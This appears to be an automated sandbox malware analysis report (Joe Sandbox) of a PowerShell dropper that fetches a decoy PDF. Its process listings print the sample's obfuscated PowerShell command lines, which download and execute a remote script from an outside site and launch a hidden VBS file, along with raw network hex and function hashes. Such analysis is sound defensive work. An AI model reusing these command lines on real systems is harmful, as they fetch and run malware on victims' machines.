''\\n6m6k1.vb')));$flol=iex($('[Environment]::GetEf89s'''.Replace('f89','nvironmentVariable(''public'') + ''\\j67.vb')));function getit([strin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49713	107.161.23.150	443	1020	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 10:56:24 UTC	127	OUT	GET /ms/List%20of%20required%20items%20and%20services.pdf HTTP/1.1 Host: www.astenterprises.com.pk Connection: Keep-Alive
2024-12-19 10:56:24 UTC	217	IN	HTTP/1.1 200 OK Connection: close content-type: application/pdf last-modified: Sun, 28 Jan 2024 19:03:01 GMT accept-ranges: bytes content-length: 871324 date: Thu, 19 Dec 2024 10:56:24 GMT server: LiteSpeed
2024-12-19 10:56:24 UTC	1151	IN	Data Raw: 25 50 44 46 2d 31 2e 37 0d 25 e2 e3 cf d3 0d 0a 31 32 39 20 30 20 6f 62 6a 0d 3c 3c 2f 4c 69 6e 65 61 72 69 7a 65 64 20 31 2f 4c 20 36 35 33 32 34 38 2f 4f 20 31 33 31 2f 45 20 38 36 34 32 33 2f 4e 20 35 2f 54 20 36 35 32 37 37 30 2f 48 20 5b 20 34 39 37 20 32 37 33 5d 3e 3e 0d 65 6e 64 6f 62 6a 0d 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 31 34 33 20 30 20 6f 62 6a 0d 3c 3c 2f 44 65 63 6f 64 65 50 61 72 6d 73 3c 3c 2f 43 6f 6c 75 6d 6e 73 20 35 2f 50 72 65 64 69 63 74 6f 72 20 31 32 3e 3e 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 49 44 5b 3c 45 33 39 35 37 36 43 34 37 35 41 42 45 43 34 33 41 31 38 37 42 39 44 37 38 30 43 34 37 35 37 44 3e 3c 36 34 31 43 41 32 38 37 30 33 43 34 42 31 34 34 38 38 36 46 33 34 32 30 32 33 42 33 34 35 Data Ascii: %PDF-1.7%129 0 obj<</Linearized 1/L 653248/O 131/E 86423/N 5/T 652770/H [ 497 273]>>endobj 143 0 obj<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<E39576C475ABEC43A187B9D780C4757D><641CA28703C4B144886F342023B345
2024-12-19 10:56:24 UTC	14994	IN	Data Raw: 54 54 31 20 31 36 34 20 30 20 52 3e 3e 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 2f 54 65 78 74 2f 49 6d 61 67 65 43 5d 2f 58 4f 62 6a 65 63 74 3c 3c 2f 49 6d 30 20 31 34 31 20 30 20 52 2f 49 6d 31 20 31 34 32 20 30 20 52 3e 3e 3e 3e 2f 52 6f 74 61 74 65 20 30 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 2f 54 61 62 73 2f 53 2f 54 79 70 65 2f 50 61 67 65 3e 3e 0d 65 6e 64 6f 62 6a 0d 31 33 32 20 30 20 6f 62 6a 0d 3c 3c 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 4c 65 6e 67 74 68 20 37 35 37 3e 3e 73 74 72 65 61 6d 0d 0a 48 89 ac 54 6d 6b db 30 10 fe ee 5f a1 8f e9 c0 b2 4e ef 2a a1 90 38 69 57 58 b3 8e 18 f6 61 8c e1 26 6e 9b 51 db 6d e2 32 f6 ef 77 92 ec 24 dd 28 94 32 12 45 d2 e9 b9 47 a7 bb 7b 92 4d b6 dd e6 b6 5c 75 64 3c ce 26 5d 57 Data Ascii: TT1 164 0 R>>/ProcSet[/PDF/Text/ImageC]/XObject<</Im0 141 0 R/Im1 142 0 R>>>>/Rotate 0/StructParents 0/Tabs/S/Type/Page>>endobj132 0 obj<</Filter/FlateDecode/Length 757>>streamHTmk0_N*8iWXa&nQm2w$(2EG{M\ud<&]W
2024-12-19 10:56:24 UTC	16384	IN	Data Raw: 96 1d d6 75 99 9b 64 7c 06 98 61 f0 9e cf 8d 9b fc 9f 4d 7b a6 28 6f a5 db f4 6d 9e 8b 6e 49 55 f4 10 fd 9a ef 5b 81 86 f0 8c e8 1c df fc c0 fc f0 77 a2 6d 4a 9b be d8 d7 1e 68 0b 2f 8c ae a7 3f 90 d7 ea 1b 3c 5b e5 bd ca 1e 76 31 74 99 7e 24 7f a4 ff d3 13 19 0f 69 1a 1b 19 02 03 0c 4c 4f 33 04 47 ee 20 6a f4 87 f2 3d 30 c1 24 b6 6d 35 07 9f 57 ed 92 d2 ea 0a e4 ae ca 54 aa 4e d3 f0 a3 31 45 75 e4 c6 a8 e2 a9 66 f5 95 62 cb 30 8c 3c b1 7b 9a 2d b7 ae 8f 0a 48 0c 14 ba 9b ad e7 21 3f 72 de 36 d0 52 02 6c 4c fd 98 2a b8 1e aa c2 a8 ea 3b cd f0 4a fc bd 9f f3 fd c3 a5 e7 92 83 d8 73 31 b7 ca 11 1f a6 82 e4 56 41 ee 18 9d 71 cc fe f6 dc 1e 39 11 66 31 3c a4 4e d0 84 fe ee c8 55 28 c2 e6 c5 e6 c1 36 85 5f 04 5b 4b 4b 4b f4 b8 e9 cf 0b a9 9e 76 d3 14 23 28 9c Data Ascii: ud\|aM{(omnIU[wmJh/?<[v1t~$iLO3G j=0$m5WTN1Eufb0<{-H!?r6RlL*;Js1VAq9f1<NU(6_[KKKv#(
2024-12-19 10:56:24 UTC	16384	IN	Data Raw: e2 e8 70 3a b3 b8 d9 db ac ce d2 16 e3 56 6f ab ba 58 2b da 8b ae c7 71 c9 5b 52 1f d7 ba ed dd ae 0d b8 db db ad 6e d0 be 8e 02 2e 87 dd bd d6 f6 84 fd 09 61 ad d4 65 db 68 df 28 90 96 27 18 e6 78 85 28 a4 bf aa d7 f4 9b 88 d1 da ec 35 71 c1 9f 30 68 5f 69 50 dc 78 e8 20 69 5f c9 6b 70 94 c7 95 a3 77 86 60 31 69 01 4f 4d 0b 58 54 5a c0 ba f2 b0 a2 72 a2 3e 3b 93 04 63 1e f3 51 de c6 bf 45 c6 a4 e3 9c 2a f0 0f 5e 23 4a 09 d7 88 91 78 76 26 a9 65 13 32 d9 64 4b 2e d3 96 5f 40 f6 00 23 c9 e4 21 18 2f 55 35 89 42 15 a6 50 c9 14 aa b2 78 51 f1 66 54 8a 55 9e 0c 0d aa c8 32 52 e5 be 8c 79 5f d0 c3 61 78 08 e6 c1 50 76 76 c5 f2 4b 55 24 e1 9e c6 d2 bd c6 52 a9 9a 2f d2 70 e6 6e 93 28 d0 53 62 7a 16 15 57 e5 5d 2b ed 2b 5d eb ed eb 5d 1c 2a ad 66 a8 50 9d 10 15 Data Ascii: p:VoX+q[Rn.aeh('x(5q0h_iPx i_kpw`1iOMXTZr>;cQE^#Jxv&e2dK._@#!/U5BPxQfTU2Ry_axPvvKU$R/pn(SbzW]++]]fP
2024-12-19 10:56:24 UTC	16384	IN	Data Raw: bc 7b 38 e6 ce 57 6a ae f1 72 b3 e7 f3 6d 8b 17 72 c4 81 1c 60 e2 db 3b ee 62 92 fb 61 07 1b 74 eb 9e b0 c1 b1 44 3e a4 44 3a 1b 4b 95 4a 17 a9 48 45 6d 70 d4 4a b4 a5 52 88 f2 23 42 44 51 f6 d6 c8 59 db 91 20 b2 f2 81 9b 36 55 43 a8 44 12 05 a9 f9 91 fc a2 e4 47 53 7e 5d 9f 99 3b 9b a0 50 a9 7b 7e de e7 9d f7 7d e6 63 67 67 67 c7 40 16 18 03 ce 01 97 80 9b 80 c2 3e 87 8d b0 cf c4 52 92 56 f8 59 80 b1 cf 60 23 ec 53 dc d6 a7 b0 61 76 1d de 75 76 1d 43 fb d8 cb ec ea 5d 90 8e 99 6e 3a 3c d5 74 36 76 36 9d 68 47 af cf fe ee dd de 8c 15 65 e0 49 63 45 2d 05 ba 48 3f 79 38 d0 e5 a5 1e c2 f2 8b 79 7b 9e e6 3e fb e7 9c 6e f2 57 72 db d8 55 e2 02 0c 23 b9 8a 9e af 12 1d 18 02 c6 81 17 80 16 78 d7 e0 5d 23 0e f0 12 f0 0a e0 02 58 65 b0 11 40 67 2b c0 87 c0 35 fc Data Ascii: {8Wjrmr`;batD>D:KJHEmpJR#BDQY 6UCDGS~];P{~}cggg@>RVY`#SavuvC]n:<t6v6hGeIcE-H?y8y{>nWrU#x]#Xe@g+5
2024-12-19 10:56:25 UTC	16384	IN	Data Raw: 2a 19 f7 ca d5 8a af be f1 6b fc a3 f3 84 5c 91 38 c9 9d 1b dd 1b 8c f7 27 cd 01 c9 0d 1f 37 07 c2 2d d9 5b c2 d3 99 9b c2 36 bf 37 fb e2 43 94 cf 05 b3 f1 cd 65 c4 17 7d 98 6f 0d 4c c0 4f 0d 93 8b 89 6d 06 f9 0f cb 52 6c 70 a8 fb a2 94 9b c9 91 7f 4f f3 f7 9a 9b 39 73 65 71 e2 a0 d4 b1 3f 8b d1 a1 2e ce eb fc b7 b8 6b 5f 26 ce bc 97 1c 46 19 47 5e 07 de f9 49 34 af d0 7b 3a f3 d7 f8 c2 76 a9 c8 5c 2e 12 dc 2a 15 19 6f 21 87 48 45 a0 39 42 ed 57 25 e3 2f 64 6e d7 21 cf 41 e6 c6 f9 63 5c f7 b3 65 8b 3b 85 5c 26 e9 37 bd a0 54 0a bc 69 92 13 64 12 1b ad 94 aa ac f5 32 25 e3 7c a9 c2 b7 5e 48 9b 73 fd f7 b1 b9 7e 7c df 44 bc 7c 10 16 46 b9 e1 31 99 e2 5f 26 d3 28 e7 b8 cf 31 c6 00 19 6d a9 09 43 fe 93 1d e7 8e e6 09 e6 76 33 e7 20 39 5e d7 78 5c 72 bd 06 f7 Data Ascii: k\8'7-[67Ce}oLOmRlpO9seq?.k_&FG^I4{:v\.o!HE9BW%/dn!Ac\e;\&7Tid2%\|^Hs~\|D\|F1_&(1mCv3 9^x\r
2024-12-19 10:56:25 UTC	16384	IN	Data Raw: f9 19 b4 6f fa f5 3f fa 19 af a0 21 ff 00 51 1f fb a3 f9 51 45 00 3e 8a 28 a0 0f ff d9 0d 0a 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 34 32 20 30 20 6f 62 6a 0d 3c 3c 2f 42 69 74 73 50 65 72 43 6f 6d 70 6f 6e 65 6e 74 20 38 2f 43 6f 6c 6f 72 53 70 61 63 65 2f 44 65 76 69 63 65 52 47 42 2f 46 69 6c 74 65 72 2f 44 43 54 44 65 63 6f 64 65 2f 48 65 69 67 68 74 20 36 33 2f 4c 65 6e 67 74 68 20 34 35 33 37 2f 53 75 62 74 79 70 65 2f 49 6d 61 67 65 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 2f 57 69 64 74 68 20 31 39 32 3e 3e 73 74 72 65 61 6d 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b Data Ascii: o?!QQE>(endstreamendobj142 0 obj<</BitsPerComponent 8/ColorSpace/DeviceRGB/Filter/DCTDecode/Height 63/Length 4537/Subtype/Image/Type/XObject/Width 192>>streamJFIF``C
2024-12-19 10:56:25 UTC	16384	IN	Data Raw: 32 50 9a d6 a3 82 58 ce 02 12 13 8b e0 a9 66 5e 29 1e 08 08 60 05 92 32 ce 2a 0b cc 68 88 0c a3 84 ac a6 da 65 3e 7a 1c 62 79 7a ba 38 83 c3 77 97 bb 61 ce 8c 85 35 40 29 50 5a 3e 07 bd 29 f1 6a 58 0f 4e fe 44 0d ac 15 48 57 ba 8a 2e 69 56 97 be 53 71 de fc 92 e6 d9 fd e3 72 6a 7d d2 55 ad 9d 03 cc 9b bc 96 7c 47 ff cb 87 7d 19 4c 16 66 1e d6 c5 83 6f 11 5f ac 09 83 f7 78 2d 64 11 13 0a 0b 17 99 d5 d6 e0 0f b1 a2 5f 24 a5 0d 4a e9 de cf f9 37 85 f6 bd 13 46 f7 77 4e a5 31 33 dd 1f f0 4a 63 7f dc c9 79 8a 17 85 c5 e8 4d 8f d7 ef 2e f5 23 ea 07 66 3c 4f ff 9b ef 1a d6 2f 62 07 0a 3c 28 e1 95 c4 3d 05 31 9c 0f 32 98 b5 41 55 33 05 96 89 fe 6b f3 59 03 9a f5 36 e1 78 2f 77 bd f2 be 86 b9 d6 4a de d3 cf ee d9 cf 42 63 f6 91 ac 1c 27 a7 50 cf 3e 4d fa d1 56 75 Data Ascii: 2PXf^)`2*he>zbyz8wa5@)PZ>)jXNDHW.iVSqrj}U\|G}Lfo_x-d_$J7FwN13JcyM.#f<O/b<(=12AU3kY6x/wJBc'P>MVu
2024-12-19 10:56:25 UTC	16384	IN	Data Raw: c4 df 88 12 34 17 04 eb a7 5e 71 a3 07 0d d8 ec 2f 60 a0 12 62 0c 7e 67 87 15 56 33 be 8b 83 5d 4e 27 3f c4 7c d4 2d 94 65 d4 3e d2 1e 6d 41 48 71 21 49 23 98 3a 88 81 05 a4 83 70 ba d2 1c 24 2e 19 d9 c6 24 25 9d 9a 98 58 43 4d 24 a9 4a 51 b0 00 02 4e bc b4 11 07 38 34 12 4c 50 a9 b5 a5 c6 02 d5 dc 49 da cf 2e b0 e5 6c d1 66 aa 0c 77 c9 73 bb 51 0e a4 80 41 b1 b9 be 9c f9 c3 09 df 55 d0 2d 37 fc f3 a4 2e 62 b4 e1 36 4c 4c 19 19 f4 e5 c6 f0 7a 77 e6 fb 55 65 9c bb 92 4d 7c f5 24 5c 9c 29 08 47 ca 1b e2 3c 56 b0 b7 11 37 b9 b6 9c f4 d2 2c 0c 71 c5 fa 60 49 cb 3c ff 00 ce 1e ea 24 91 87 f5 0d 27 22 38 57 3f 38 d9 6c 16 1f ae 49 e2 1a 6b 15 39 25 85 b0 fa 12 b4 28 1b 82 14 02 81 06 fa 82 0d fd 71 2c 5c 37 61 3b 74 f9 ed f0 78 28 61 e2 0c 41 23 be 47 c9 59 95 Data Ascii: 4^q/`b~gV3]N'?\|-e>mAHq!I#:p$.$%XCM$JQN84LPI.lfwsQAU-7.b6LLzwUeM\|$\)G<V7,q`I<$'"8W?8lIk9%(q,\7a;tx(aA#GY
2024-12-19 10:56:25 UTC	16384	IN	Data Raw: 34 ef a1 63 e1 04 4f d0 8e 5a 7f 21 a7 7d 0b 1f 08 22 7e 84 72 d3 f9 0d 3b e8 58 f8 41 13 f4 23 96 9f c8 69 df 42 c7 c2 08 9f a1 1c b4 fe 43 4e fa 16 3e 10 45 2f c3 f8 27 0b 61 9d 68 f2 32 b2 9f fe 90 6d 1c ff 00 f4 c1 14 bf bc 6f ff 00 22 3f d4 9f 8c 11 3b c6 ff 00 f2 23 fd 49 f8 c1 10 ba d0 dd c6 c7 9a d3 f1 82 27 7a df fe 44 7f ad 3f 18 22 77 8d ff 00 e4 47 fa 93 f1 82 27 78 df fe 44 7f a9 3f 18 22 77 8d ff 00 e4 47 fa 93 f1 82 27 78 df fe 44 7f a9 3f 18 22 77 8d ff 00 e4 47 fa 93 f1 82 27 78 df fe 44 7f a9 3f 18 22 77 8d ff 00 e4 47 fa 93 f1 82 27 78 df fe 44 7f a9 3f 18 22 77 8d ff 00 e4 47 fa 93 f1 82 27 78 df fe 44 7f a9 3f 18 22 77 8d ff 00 e4 47 fa 93 f1 82 27 78 df fe 44 7f a9 3f 18 22 77 8d ff 00 e4 47 fa 93 f1 82 27 78 df fe 44 7f a9 3f 18 22 Data Ascii: 4cOZ!}"~r;XA#iBCN>E/'ah2mo"?;#I'zD?"wG'xD?"wG'xD?"wG'xD?"wG'xD?"wG'xD?"wG'xD?"wG'xD?"

Target ID:	2
Start time:	05:56:12
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${xadeoc} = $PSHOME;${k99xuf.} = ${xadeoc}[+52 -53 +1] + ${xadeoc}[-11 +2] + 'A' + ${xadeoc}[-66 +55];${f89.} = $([TYPE]${k99xuf.});${.n6m6k1.} = ${f89.}::ToString(+79 -1 -5)+${f89.}::ToString(+79 -1 -5 -4)+${f89.}::ToString(+79 +30 -10 +21);&(${.n6m6k1.})(&(${*.n6m6k1.})(${xadeoc}[+52 -53 +1]+'u'+${xadeoc}[-66 +55]+${xadeoc}[-61 +55]+' https://www.al-rasikh.com/ms/neatez.txt -UseBasicParsing'))
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:56:12
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:56:20
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win hidden C:\Windows\System32\WindowsPowerShell\v1.0=iex "[Environment]::GetEnvironmentVariable('public') + '\\n6m6k1.vbs'"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:56:25
Start date:	19/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\List of Required items and services.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	05:56:26
Start date:	19/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:56:27
Start date:	19/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	05:56:27
Start date:	19/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1636,i,1401609163497545281,15886362525397421194,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Function 00007FFAAC689C6D Relevance: .6, Instructions: 558COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1587025340.00007FFAAC680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6930cb9e8c0f90b795cbc740221507e82053a32075c51662c5af89e34980921
Instruction ID: bb48c02000ea6c04c0bb7c30d083e7e63392a21a951b9bc57895708ae36ca5bb
Opcode Fuzzy Hash: f6930cb9e8c0f90b795cbc740221507e82053a32075c51662c5af89e34980921
Instruction Fuzzy Hash: 16F1E26290EB864FF79B973858555B47FE1EF53210B0860FAD08DC71E3DA199D0A8392

Function 00007FFAAC685F55 Relevance: .4, Instructions: 438COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1587025340.00007FFAAC680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e7d6f7a2057086649dce5f513c7b84859694b4dbf84f180206b23ac2ab05b10
Instruction ID: adf94c3de3ec87fdf826f6434da6ad012f8d0a04136f4c938c97b186c242f0bd
Opcode Fuzzy Hash: 2e7d6f7a2057086649dce5f513c7b84859694b4dbf84f180206b23ac2ab05b10
Instruction Fuzzy Hash: B8D10571A0EB8A8FF766EB6888159B57FA1EF46310F1851FED08DC70D3DA18D9098391

Function 00007FFAAC680001 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1587025340.00007FFAAC680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c292bcea4b2988d249bb4dd31fdabdce8b47bfc983b626cffe03a538fd01832
Instruction ID: 08de99d0f1cfaa88d77f07d4ea3fd48034953395404a148e5427b75b8a497e5d
Opcode Fuzzy Hash: 5c292bcea4b2988d249bb4dd31fdabdce8b47bfc983b626cffe03a538fd01832
Instruction Fuzzy Hash: 8D71AE62A4FBC58FE757C76898A46703FA09F57210B0964FBC089CB0E3DA199D4EC391

Function 00007FFAAC6800DD Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1587025340.00007FFAAC680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48bfc11fce49a61f3f20b6b955d2102dbd844d973881f0662aeab5beaca0573a
Instruction ID: 44ebe2f9351601c42184910823c0515a41cd52285e599fb455c39f0f837c1d5c
Opcode Fuzzy Hash: 48bfc11fce49a61f3f20b6b955d2102dbd844d973881f0662aeab5beaca0573a
Instruction Fuzzy Hash: C631D82160EB858FE747CB6C88906743FA1EF57310B1955EAC08DCB1E3DA29DD49C790

Function 00007FFAAC689DF4 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1587025340.00007FFAAC680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90157ffecd1df645de51bec7502cc5aaa04a26ee9cf833ea2808c0c3b0faae9a
Instruction ID: 5d59ad281bffda6ca8f3f6a0e6a85f3b14b021418bd8809f9a0b6b80d38a2fdb
Opcode Fuzzy Hash: 90157ffecd1df645de51bec7502cc5aaa04a26ee9cf833ea2808c0c3b0faae9a
Instruction Fuzzy Hash: 83213922E0EB468FF7AAD72848491746AC2EF82310B58A4BAE04DC31D3DF18DC0B43D5

Function 00007FFAAC68159F Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1587025340.00007FFAAC680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac680000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6578ebacb9264de2c828a27be53e90e77b3ca76b95c2be9a90887d302ea43b5
Instruction ID: 71e2c06c0da26e491e339070eb6cadcd797bff5444028e0981e9940f5320639c
Opcode Fuzzy Hash: c6578ebacb9264de2c828a27be53e90e77b3ca76b95c2be9a90887d302ea43b5
Instruction Fuzzy Hash: 5821BFA2D0FBC68FF366D72858690746F919F56650B0860FED09EC71D3D908884983D2

Function 00007FFAAC5B4995 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1586230560.00007FFAAC5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac5b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a93ff1ee51a109c81ca9cc1cebcf9926b66fcc0f503601e93fe63d88ce016ce7
Instruction ID: c8e781948e0776f8be089123396c148e0e13ed6f682c118331af9c08a9be09d7
Opcode Fuzzy Hash: a93ff1ee51a109c81ca9cc1cebcf9926b66fcc0f503601e93fe63d88ce016ce7
Instruction Fuzzy Hash: E001677115CB0C8FD744EF0CE451AA5B7E0FB99364F10056DE58AC3665DB36E882CB46

Non-executed Functions

Function 00007FFAAC5B86F2 Relevance: 6.3, Strings: 5, Instructions: 67COMMON

Download Yara Rule

Strings

K_^, xrefs: 00007FFAAC5B86F2
K_^, xrefs: 00007FFAAC5B8732
K_^, xrefs: 00007FFAAC5B8752
K_^, xrefs: 00007FFAAC5B8712
K_^, xrefs: 00007FFAAC5B8762

Memory Dump Source

Source File: 00000002.00000002.1586230560.00007FFAAC5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac5b0000_powershell.jbxd

Similarity

API ID:
String ID: K_^$K_^$K_^$K_^$K_^
API String ID: 0-3188868157
Opcode ID: 82ca633c5140378732fcfad3462e32d8dd18efca6771170e49b74d256b65751e
Instruction ID: d2425a934d69be154e7a81ef3b3f49ca9a665da55702b4e114e0a3db55b321eb
Opcode Fuzzy Hash: 82ca633c5140378732fcfad3462e32d8dd18efca6771170e49b74d256b65751e
Instruction Fuzzy Hash: 9921A653C6E7C38FD352823D586C0E67F90AE1721CB0883FAC1A54A4D3F919444BE2D6

Function 00007FFAAC5B87F2 Relevance: 5.2, Strings: 4, Instructions: 176COMMON

Download Yara Rule

Strings

K_^, xrefs: 00007FFAAC5B8822
K_^, xrefs: 00007FFAAC5B8912
K_^, xrefs: 00007FFAAC5B8872
K_^, xrefs: 00007FFAAC5B87F2

Memory Dump Source

Source File: 00000002.00000002.1586230560.00007FFAAC5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffaac5b0000_powershell.jbxd

Similarity

API ID:
String ID: K_^$K_^$K_^$K_^
API String ID: 0-4267328068
Opcode ID: 1f3a04cd0fed6e5a4a76d0a9f93c97fe5b6aa5283de25c909f956f7ba57548eb
Instruction ID: dfe4758db9fdc8010106fd31d2bb3e4777a69ab257f1a7f3b04eaeefedfcf1f7
Opcode Fuzzy Hash: 1f3a04cd0fed6e5a4a76d0a9f93c97fe5b6aa5283de25c909f956f7ba57548eb
Instruction Fuzzy Hash: 6951A063D5E7C38FF716872888B90E57FE0AF1722470956F7D4D88F093EA18940A9396

Analysis Process: powershell.exePID: 3232, Parent PID: 1020COMMON

Executed Functions

Function 00007FFAAC672B05 Relevance: .4, Instructions: 446COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1404451261.00007FFAAC670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffaac670000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b0331e5c1bd0bfaf1f63b474cb5ee874341ae53f20e490d311137da9583fece
Instruction ID: 651cd4fccc8cbd9395dfea2a047328e4a1fe25f18968bdf99b40132608b238d6
Opcode Fuzzy Hash: 7b0331e5c1bd0bfaf1f63b474cb5ee874341ae53f20e490d311137da9583fece
Instruction Fuzzy Hash: C1D1656190EB9ACFF7A6DB2888159B57FE2EF56310B0864FED04DC7493DA18D8098391

Function 00007FFAAC5A3428 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1404266108.00007FFAAC5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffaac5a0000_powershell.jbxd

Similarity

